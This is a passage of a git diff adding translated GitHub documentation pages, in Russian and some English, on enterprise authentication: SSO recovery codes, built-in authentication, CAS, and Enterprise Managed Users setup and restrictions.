variables.product.prodname_emu_idp_application %} application. +1. Click **Sign On**. +1. In the "Settings" section, click **Edit**. +1. Update the "Application username format." +{% endif %} diff --git a/translations/ru-RU/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable.md b/translations/ru-RU/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable.md new file mode 100644 index 000000000000..4cf9dc954196 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable.md @@ -0,0 +1,33 @@ +--- +title: Доступ к учетной записи предприятия при недоступном поставщике удостоверений +shortTitle: Access your enterprise account +intro: 'Вы можете войти в {% data variables.product.product_name %}, даже если поставщик удостоверений недоступен, обходя единый вход с помощью кода восстановления.' +versions: + ghec: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - SSO +permissions: Enterprise owners can use a recovery code to access an enterprise account. +ms.openlocfilehash: d13a4cd336e67ab62087530b00cad8fd6939d64b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147578807' +--- +Вы можете использовать код восстановления для доступа к корпоративной учетной записи, если ошибка конфигурации проверки подлинности или проблема с поставщиком удостоверений (IdP) не позволяет использовать единый вход. + +Чтобы получить доступ к учетной записи предприятия этим способом, необходимо заранее скачать и сохранить коды восстановления для вашего предприятия. Дополнительные сведения см. в статье [Скачивание кодов восстановления единого входа для корпоративной учетной записи](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes). + +{% data reusables.saml.recovery-code-caveats %} + +{% note %} + +**Примечание**. Если на вашем предприятии используется функция {% data variables.product.prodname_emus %}, то для использования кода восстановления необходимо войти в систему в качестве пользователя, выполняющего установку. + +{% endnote %} + +{% data reusables.saml.recovery-code-access %} diff --git a/translations/ru-RU/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md b/translations/ru-RU/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md new file mode 100644 index 000000000000..48536e3ec9d9 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes.md @@ -0,0 +1,37 @@ +--- +title: Downloading your enterprise account's single sign-on recovery codes +shortTitle: Download recovery codes +intro: 'To ensure that you can access {% data variables.product.product_name %} if your identity provider (IdP) is unavailable, you should download your enterprise account''s single sign-on (SSO) recovery codes.' +versions: + ghec: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - SSO +redirect_from: + - /admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-saml-single-sign-on-recovery-codes +permissions: Enterprise owners can download the SSO recovery codes for the enterprise account. +--- + +In the event that your IdP is unavailable, you can use a recovery code to sign in and access your enterprise on {% data variables.location.product_location %}. For more information, see "[Accessing your enterprise account if your identity provider is unavailable](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable)." + +If you did not save your recovery codes when you configured SSO, you can still access the codes from your enterprise's settings. + + + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} + +1. Under{% ifversion oidc-for-emu %} either{% endif %} "Require SAML authentication"{% ifversion oidc-for-emu %} or "Require OIDC authentication"{% endif %}, click **Save your recovery codes**.{% ifversion oidc-for-emu %} + {% note %} + + **Note:** OIDC SSO is only available for {% data variables.product.prodname_emus %}. For more information, see "[About Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)." + + {% endnote %}{% endif %} + + ![Screenshot of the button to test SAML configuration before enforcing](/assets/images/help/enterprises/saml-recovery-codes-link.png) +1. To save your recovery codes, click **Download**, **Print**, or **Copy**. + ![Screenshot of the buttons to download, print, or copy your recovery codes](/assets/images/help/saml/saml_recovery_code_options.png) diff --git a/translations/ru-RU/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/index.md b/translations/ru-RU/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/index.md new file mode 100644 index 000000000000..55d35005950c --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/index.md @@ -0,0 +1,22 @@ +--- +title: Управление кодами восстановления для предприятия +shortTitle: Manage recovery codes +intro: 'С помощью кодов восстановления единого входа на основе SAML вы сможете получить доступ к корпоративной учетной записи, даже если поставщик удостоверений недоступен.' +versions: + ghec: '*' +topics: + - Accounts + - Authentication + - Enterprise + - SSO +children: + - /downloading-your-enterprise-accounts-single-sign-on-recovery-codes + - /accessing-your-enterprise-account-if-your-identity-provider-is-unavailable +ms.openlocfilehash: 6f378bf952e32acdbd4217d9d8a414dde1354e12 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145955453' +--- + diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md b/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md new file mode 100644 index 000000000000..50f7970f7ef2 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication.md @@ -0,0 +1,57 @@ +--- +title: Configuring built-in authentication +intro: 'When you use the default authentication method, all authentication details are stored on {% data variables.location.product_location %}.' +permissions: 'Site administrators can configure authentication for a {% data variables.product.product_name %} instance.' +redirect_from: + - /enterprise/admin/user-management/using-built-in-authentication + - /enterprise/admin/authentication/using-built-in-authentication + - /admin/authentication/using-built-in-authentication + - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication + - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication +versions: + ghes: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity +shortTitle: Configure built-in authentication +--- + +## About built-in authentication + +By default, {% data variables.product.product_name %} uses built-in authentication. Each person creates a user account on {% data variables.location.product_location %} from an invitation or by signing up, and then authenticates with the credentials for the account to access your instance. Your {% data variables.product.product_name %} instance stores the authentication information for the account. + +You can prevent unauthenticated people from creating new user accounts on your instance. For more information, see "[Disabling unauthenticated sign-ups](/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups)." + +{% data reusables.enterprise_user_management.alternatively-enable-external-authentication %} + +## Configuring built-in authentication + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.authentication %} +4. Select **Built in authentication**. +![Select built-in authentication option](/assets/images/enterprise/management-console/built-in-auth-select.png) + +{% data reusables.enterprise_user_management.two_factor_auth_header %} +{% data reusables.enterprise_user_management.2fa_is_available %} + +## Creating your account + +Once your instance has been created, you'll need to create your own admin account. + +1. On the "Create Admin Account" page at `http(s)://[hostname]/join`, choose your username, password, and email address, then click **Create an account**. +![Create Admin Account](/assets/images/enterprise/site-admin-settings/create-first-admin-acct.png) +{% data reusables.enterprise_site_admin_settings.sign-in %} + +## Next steps + + + +After you configure built-in authentication and create your administrative account, you can invite people to create accounts and use your instance. For more information, see "[Inviting people to use your instance](/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance)." + +## Further reading + +- "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)" diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md b/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md new file mode 100644 index 000000000000..040dd977c6cd --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups.md @@ -0,0 +1,36 @@ +--- +title: Disabling unauthenticated sign-ups +redirect_from: + - /enterprise/admin/articles/disabling-sign-ups + - /enterprise/admin/user-management/disabling-unauthenticated-sign-ups + - /enterprise/admin/authentication/disabling-unauthenticated-sign-ups + - /admin/authentication/disabling-unauthenticated-sign-ups + - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups + - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups +intro: 'If you''re using built-in authentication for {% data variables.location.product_location %}, you can block unauthenticated people from creating new user accounts on your instance.' +permissions: 'Site administrators can disable unauthenticated sign-ups on a {% data variables.product.product_name %} instance.' +versions: + ghes: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity +shortTitle: Block unauthenticated sign-up +--- + +## About unauthenticated sign-ups + +{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} {% data reusables.enterprise_user_management.unauthenticated-sign-ups %} You can disable unauthenticated sign-ups and require an invitation to create a new user account on your instance. + +{% data reusables.enterprise_user_management.alternatively-enable-external-authentication %} + +## Disabling unauthenticated sign-ups + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.privacy %} +3. Unselect **Enable sign-up**. +![Enable sign-up checkbox](/assets/images/enterprise/management-console/enable-sign-up.png) +{% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/index.md b/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/index.md new file mode 100644 index 000000000000..79c546a813fd --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/index.md @@ -0,0 +1,22 @@ +--- +title: Использование встроенной проверки подлинности +shortTitle: Built-in authentication +intro: 'Если вы не применяете централизованную внешнюю систему для идентификаторов пользователей, можно применять встроенную проверку подлинности, чтобы разрешить {% data variables.product.prodname_ghe_server %} управлять учетными записями и выполнять локальную проверку подлинности.' +versions: + ghes: '*' +topics: + - Accounts + - Authentication + - Enterprise +children: + - /configuring-built-in-authentication + - /inviting-people-to-use-your-instance + - /disabling-unauthenticated-sign-ups +ms.openlocfilehash: 0bf5c4657d92a6795edfd4bb1e2528eb0ebb8682 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067286' +--- + diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md b/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md new file mode 100644 index 000000000000..826da0bc5738 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-built-in-authentication/inviting-people-to-use-your-instance.md @@ -0,0 +1,30 @@ +--- +title: Inviting people to use your instance +intro: 'When you use built-in authentication for {% data variables.product.product_name %}, you can invite people by email address to create a user account on your instance.' +versions: + ghes: '*' +permissions: 'Enterprise owners can invite people to create a user account on a {% data variables.product.product_name %} instance.' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity +shortTitle: Invite people +--- + +## About invitations for new users + +{% data reusables.enterprise_user_management.built-in-authentication-new-accounts %} {% data reusables.enterprise_user_management.unauthenticated-sign-ups %} + +You can disable unauthenticated sign-ups and require an invitation to create a new user account on your instance. For more information, see "[Disabling unauthenticated sign-ups](/admin/identity-and-access-management/using-built-in-authentication/disabling-unauthenticated-sign-ups)." + +{% data reusables.enterprise_user_management.alternatively-enable-external-authentication %} + +## Inviting people to create a user account + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %} +{% data reusables.enterprise_site_admin_settings.invite-user-reset-link %} + +If you've configured email for notifications on {% data variables.location.product_location %}, your instance will send the invitation to the provided email address. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)." diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md b/translations/ru-RU/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md new file mode 100644 index 000000000000..eb31c7102770 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/index.md @@ -0,0 +1,10 @@ +--- +title: Using CAS for enterprise IAM +shortTitle: CAS for enterprise IAM +intro: 'You can centrally manage accounts and access to {% data variables.location.product_location %} by integrating with your existing CAS identity provider (IdP).' +versions: + ghes: '*' +children: + - /using-cas +--- + diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md b/translations/ru-RU/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md new file mode 100644 index 000000000000..80a78791256f --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-cas-for-enterprise-iam/using-cas.md @@ -0,0 +1,56 @@ +--- +title: Using CAS +redirect_from: + - /enterprise/admin/articles/configuring-cas-authentication + - /enterprise/admin/articles/about-cas-authentication + - /enterprise/admin/user-management/using-cas + - /enterprise/admin/authentication/using-cas + - /admin/authentication/using-cas + - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas + - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-cas +intro: 'If you use Central Authentication Service (CAS) to centralize access to multiple web applications, you can integrate {% data variables.product.product_name %} by configuring CAS authentication for your instance.' +versions: + ghes: '*' +type: how_to +topics: + - Accounts + - Authentication + - Enterprise + - Identity + - SSO +--- + +## About CAS authentication for {% data variables.product.product_name %} + +CAS is a single sign-on (SSO) protocol that centralizes authentication to multiple web applications. For more information, see "[Central Authentication Service](https://en.wikipedia.org/wiki/Central_Authentication_Service)" on Wikipedia. + +After you configure CAS, people who use {% data variables.location.product_location %} must use a {% data variables.product.pat_generic %} to authenticate API or Git requests over HTTP(S). CAS credentials cannot be used to authenticate these requests. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +If you configure CAS, people with accounts on your identity provider (IdP) do not consume a user license until the person signs into {% data variables.location.product_location %}. + +{% data reusables.enterprise_user_management.built-in-authentication %} + +## Username considerations with CAS + +{% data reusables.enterprise_user_management.consider-usernames-for-external-authentication %} For more information, see "[Username considerations for external authentication](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication)." + +## CAS attributes + +The following attributes are available. + +| Attribute name | Type | Description | +|--------------------------|----------|-------------| +| `username` | Required | The {% data variables.product.prodname_ghe_server %} username. | + +## Configuring CAS + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.authentication %} +3. Select **CAS**. + + ![Screenshot of selection of CAS for authentication](/assets/images/enterprise/management-console/cas-select.png) +4. {% data reusables.enterprise_user_management.built-in-authentication-option %} + + ![Screenshot of of fallback built-in authentication option for CAS](/assets/images/enterprise/management-console/cas-built-in-authentication.png) +5. In the **Server URL** field, type the full URL of your CAS server. If your CAS server uses a certificate that can't be validated by {% data variables.product.prodname_ghe_server %}, you can use the `ghe-ssl-ca-certificate-install` command to install it as a trusted certificate. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-ssl-ca-certificate-install)." diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md new file mode 100644 index 000000000000..00656bb52e61 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users.md @@ -0,0 +1,164 @@ +--- +title: 'Сведения о {% data variables.product.prodname_emus %}' +shortTitle: About managed users +intro: 'Вы можете централизованно управлять удостоверениями и доступом для членов вашей организации в {% data variables.product.prodname_dotcom %} от вашего поставщика удостоверений.' +redirect_from: + - /early-access/github/articles/get-started-with-managed-users-for-your-enterprise + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users + - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/about-enterprise-managed-users + - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users +versions: + ghec: '*' +type: overview +topics: + - Accounts + - Authentication + - Enterprise + - SSO +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 82a8b8c29ea38d57f0481146f2a857c2dcba8413 +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160731' +--- +## Сведения о {% data variables.product.prodname_emus %} + +С помощью {% data variables.product.prodname_emus %} можно управлять учетными записями пользователей корпоративных участников с помощью поставщика удостоверений (IdP). Пользователи, назначенные приложению {% data variables.product.prodname_emu_idp_application %} в поставщике удостоверений, подготавливаются в качестве новых учетных записей пользователей в {% data variables.product.prodname_dotcom %} и добавляются в ваше предприятие. Вы управляете именами пользователей, данными профиля, членством в команде и доступом к репозиторию для учетных записей пользователей из своего поставщика удостоверений. + +В поставщике удостоверений вы можете предоставить каждому {% data variables.enterprise.prodname_managed_user %} роль пользователя, владельца предприятия или менеджера по выставлению счетов. {% data variables.enterprise.prodname_managed_users_caps %} может владеть организациями в пределах предприятия и добавлять другие {% data variables.enterprise.prodname_managed_users %} в организации и команды внутри. Дополнительные сведения см. в разделах [Роли в организации](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise) и [Сведения об организациях](/organizations/collaborating-with-groups-in-organizations/about-organizations). + +{% ifversion oidc-for-emu %} + +{% data reusables.enterprise-accounts.emu-cap-validates %} Дополнительную информацию см. в статье [Сведения о поддержке политики условного доступа поставщика удостоверений](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy). + +{% endif %} + +Вы можете предоставить {% data variables.enterprise.prodname_managed_users %} доступ и возможность вносить свой вклад в репозитории на предприятии, но {% data variables.enterprise.prodname_managed_users %} не может создавать общедоступное содержимое или совместно работать с другими пользователями, организациями и предприятиями в остальной части {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Возможности и ограничения {% data variables.enterprise.prodname_managed_users %}](#abilities-and-restrictions-of-enterprise-managed-users). + +Имена пользователей {% data variables.enterprise.prodname_managed_users %} предприятия и их данные профиля, такие как отображаемые имена и адреса электронной почты, задаются поставщиком удостоверений и не могут быть изменены самими пользователями. Дополнительные сведения см. в разделе [Имена пользователей и данные профиля](#usernames-and-profile-information). + +Владельцы предприятия могут выполнять аудит всех действий {% data variables.enterprise.prodname_managed_users %}в {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [События журнала аудита для вашего предприятия](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#about-audit-log-events-for-your-enterprise). + +Для использования {% data variables.product.prodname_emus %} требуется отдельный тип корпоративной учетной записи с включенной функцией {% data variables.product.prodname_emus %}. Дополнительные сведения о создании такой учетной записи см. в разделе [Сведения о предприятиях с управляемыми пользователями](#about-enterprises-with-managed-users). + +{% note %} + +**Примечание.** Существует несколько вариантов управления удостоверениями и доступом с помощью {% data variables.product.prodname_ghe_cloud %}, и {% data variables.product.prodname_emus %} — не лучшее решение для каждого клиента. Дополнительные сведения о том, подходит ли {% data variables.product.prodname_emus %} для вашего предприятия, см. в разделе [Об проверке подлинности для вашего предприятия](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#identifying-the-best-authentication-method-for-your-enterprise). + +{% endnote %} + +## Сведения об управлении членством в организации + +Членством в организации можно управлять вручную или автоматически обновлять членство с помощью групп поставщика удостоверений. Чтобы управлять членством в организации через поставщика удостоверений, участники должны быть добавлены в группу поставщика удостоверений, а группа поставщика удостоверений должна быть подключена к команде в организации. Дополнительные сведения об автоматическом управлении членством в организациях и командах см. в разделе [Управление членством в командах с помощью групп поставщиков удостоверений](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups). + +Способ добавления участника в организацию, принадлежащей вашему предприятию (с помощью групп поставщика удостоверений или вручную), определяет, как он должен быть удален из организации. + +- Если участник был добавлен в организацию вручную, его необходимо удалить вручную. Отмена их назначения в приложении {% data variables.product.prodname_emu_idp_application %} в поставщике удостоверений приостановит пользователя, но не удалит его из организации. +- Если пользователь стал членом организации, так как он был добавлен в группы поставщика удостоверений, сопоставленные с одной или несколькими командами в организации, удаление его из _всех_ сопоставленных групп поставщика удостоверений, связанных с организацией, приведет к удалению его из организации. + +Чтобы узнать, как участник был добавлен в организацию, можно отфильтровать список участников по типу. Дополнительные сведения см. на странице [Просмотр пользователей в предприятии](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#filtering-by-member-type-in-an-enterprise-with-managed-users). + +## Поддержка поставщиков удостоверений + +{% data variables.product.prodname_emus %} поддерживает следующие поставщики удостоверений{% ifversion oidc-for-emu %} и способы проверки подлинности: + +| | SAML | OIDC (бета-версия) | +|----------------------------------|-----------------------------------------------|-----------------------------------------------| +| Azure Active Directory | {% octicon "check" aria-label="Check icon" %} | {% octicon "check" aria-label="Check icon" %} | +| Okta | {% octicon "check" aria-label="Check icon" %} | | +{% else %}: + +{% data reusables.enterprise-accounts.emu-supported-idps %} + +{% endif %} + +## Возможности и ограничения {% data variables.enterprise.prodname_managed_users %} + +{% data variables.enterprise.prodname_managed_users_caps %} может участвовать только в частных и внутренних репозиториях в корпоративных и частных репозиториях, принадлежащих учетной записи пользователя. {% data variables.enterprise.prodname_managed_users_caps %} имеют доступ только для чтения к более широкому сообществу {% data variables.product.prodname_dotcom %}. Эти ограничения видимости и доступа для пользователей и содержимого применяются ко всем запросам, включая запросы API. + +* {% data variables.enterprise.prodname_managed_users_caps %} не может быть приглашен в организации или репозитории за пределами предприятия, а {% data variables.enterprise.prodname_managed_users %} не может быть приглашен в другие предприятия. +* Внешние участники совместной работы не поддерживаются в {% data variables.product.prodname_emus %}. +* {% data variables.enterprise.prodname_managed_users_caps %} не может создавать проблемы или запросы на вытягивание, комментировать или добавлять реакции на репозитории star, watch или fork за пределами предприятия. +* {% data variables.enterprise.prodname_managed_users_caps %} может просматривать все общедоступные репозитории в {% data variables.product.prodname_dotcom_the_website %}, но не может отправлять код в репозитории за пределами предприятия. +* {% data variables.enterprise.prodname_managed_users_caps %} и создаваемое ими содержимое доступно только другим участникам предприятия. +* {% data variables.enterprise.prodname_managed_users_caps %} не может следить за пользователями за пределами предприятия. +* {% data variables.enterprise.prodname_managed_users_caps %} не может создавать gists или комментировать gists. +* {% data variables.enterprise.prodname_managed_users_caps %} не удается создать начальные рабочие процессы для {% data variables.product.prodname_actions %}. +* {% data variables.enterprise.prodname_managed_users_caps %} не удается установить {% data variables.product.prodname_github_apps %} в учетных записях пользователей. +* Другие пользователи {% data variables.product.prodname_dotcom %} не могут просматривать, упоминать или приглашать {% data variables.enterprise.prodname_managed_user %} для совместной работы. +* Вы можете выбрать, смогут ли {% data variables.enterprise.prodname_managed_users %} создавать репозитории, принадлежащие учетным записям пользователей. Дополнительные сведения см. в разделе [Применение политик управления репозиториями в организации](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-creation). +* Если вы разрешаете {% data variables.enterprise.prodname_managed_users %} создавать репозитории, принадлежащие учетным записям пользователей, они могут владеть только частными репозиториями и приглашать других участников предприятия для совместной работы над своими пользовательскими репозиториями. +* {% data reusables.enterprise-accounts.emu-forks %} +* В организациях, принадлежащих {% data variables.enterprise.prodname_emu_enterprise %}, можно создавать только частные и внутренние репозитории в зависимости от параметров видимости репозитория организации и предприятия. +* {% data variables.enterprise.prodname_managed_users_caps %} ограничены в использовании {% data variables.product.prodname_pages %}. Дополнительные сведения см. в статье [Сведения о {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#limitations-for-enterprise-managed-users). +* {% data reusables.copilot.emus-cannot-use-copilot %} + +## Начало работы с {% data variables.product.prodname_emus %} + +Прежде чем ваши разработчики смогут использовать {% data variables.product.prodname_ghe_cloud %} с {% data variables.product.prodname_emus %}, необходимо выполнить ряд действий по настройке. + +1. Для использования {% data variables.product.prodname_emus %} требуется отдельный тип корпоративной учетной записи с включенной функцией {% data variables.product.prodname_emus %}. Чтобы опробовать {% data variables.product.prodname_emus %} или обсудить варианты миграции с существующего предприятия, обратитесь в [отдел продаж {% data variables.product.prodname_dotcom %}](https://enterprise.github.com/contact). + + Ваш контакт в группе продаж GitHub будет работать с вами, чтобы создать {% data variables.enterprise.prodname_emu_enterprise %}. Вам потребуется указать адрес электронной почты пользователя, который настроит ваше предприятие, и короткий код, который будет использоваться в качестве суффикса для имен пользователей корпоративных участников. {% data reusables.enterprise-accounts.emu-shortcode %} Дополнительные сведения см. в разделе [Имена пользователей и данные профиля](#usernames-and-profile-information). + +2. После создания предприятия вы получите сообщение электронной почты от {% data variables.product.prodname_dotcom %} с приглашением выбрать пароль для пользователя настройки предприятия, который станет первым владельцем предприятия. Используйте режим инкогнито или приватное окно в браузере при установке пароля. Пользователь настройки используется только для настройки единого входа и интеграции подготовки SCIM для предприятия. У него больше не будет доступа для администрирования корпоративной учетной записи после успешного включения единого входа. Имя пользователя установки — это короткий код вашей организации с суффиксом `_admin`. + + {% note %} + + {% data reusables.enterprise-accounts.emu-password-reset-session %} + + {% endnote %} + +3. После входа в систему как пользователь настройки рекомендуется включить двухфакторную проверку подлинности. Подробнее: [Настройка двухфакторной проверки подлинности](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication). + +1. Для начала настройте {% ifversion oidc-for-emu %}способ проверки подлинности ваших участников. Если вы используете Azure Active Directory в качестве поставщика удостоверений, вы можете выбирать между OpenID Connect (OIDC) и языком разметки заявлений системы безопасности (SAML). Оба варианта обеспечивают удобный вход для ваших участников, но только ODC обеспечивает поддержку политик условного доступа (CAP). Если вы используете Okta в качестве поставщика удостоверений, вы можете использовать SAML для проверки подлинности своих участников.{% else %}Единый вход SAML для вашего предприятия. Дополнительные сведения см. в разделе [Настройка единого входа SAML для пользователей, управляемых предприятием](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users).{% endif %} + + {% ifversion oidc-for-emu %} + + Для начала прочитайте руководство для выбранного вами способа проверки подлинности. + + - [Настройка OIDC для пользователей, управляемых предприятием](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users). + - [Настройка единого входа SAML для корпоративных управляемых пользователей](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users). + + {% endif %} + +4. После настройки единого входа вы можете настроить подготовку SCIM. SCIM — это то, как поставщик удостоверений создаст {% data variables.enterprise.prodname_managed_users %} в {% data variables.product.prodname_dotcom_the_website %}. Дополнительные сведения о настройке подготовки SCIM см. в разделе [Настройка подготовки SCIM для корпоративных управляемых пользователей](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users). + +5. После настройки проверки подлинности и подготовки можно приступить к управлению членством в организации для {% data variables.enterprise.prodname_managed_users %} путем синхронизации групп idP с командами. Дополнительные сведения см. на странице [Управление членством в командах с помощью групп поставщиков удостоверений](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups). + +Если участники вашего предприятия должны использовать одну рабочую станцию для участия в репозиториях в {% data variables.location.product_location %} из {% data variables.enterprise.prodname_managed_user %} и личной учетной записи, вы можете предоставить поддержку. Дополнительные сведения см. в разделе [Поддержка разработчиков с несколькими учетными записями пользователей в {% data variables.product.prodname_dotcom_the_website %}](#supporting-developers-with-multiple-user-accounts-on-githubcom). + +## Проверка подлинности в качестве {% data variables.enterprise.prodname_managed_user %} + +{% data variables.enterprise.prodname_managed_users_caps %} должен пройти проверку подлинности через поставщика удостоверений. Для проверки подлинности {% data variables.enterprise.prodname_managed_user %} может посетить портал приложения поставщика удостоверений или использовать страницу входа в {% data variables.product.prodname_dotcom_the_website %}. + +По умолчанию, когда пользователь без проверки подлинности пытается получить доступ к предприятию, использующим {% data variables.product.prodname_emus %}, {% data variables.product.company_short %} отображает ошибку 404. Владелец предприятия может включить автоматическое перенаправление на единый вход (SSO) вместо 404. Дополнительные сведения см. в разделе [Применение политик для параметров безопасности на предприятии](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-sso-for-unauthenticated-users). + +{% data reusables.enterprise-accounts.about-recovery-codes %} Дополнительные сведения см. в разделе [Управление кодами восстановления для вашей организации](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise). + +### Проверка подлинности в качестве {% data variables.enterprise.prodname_managed_user %} с 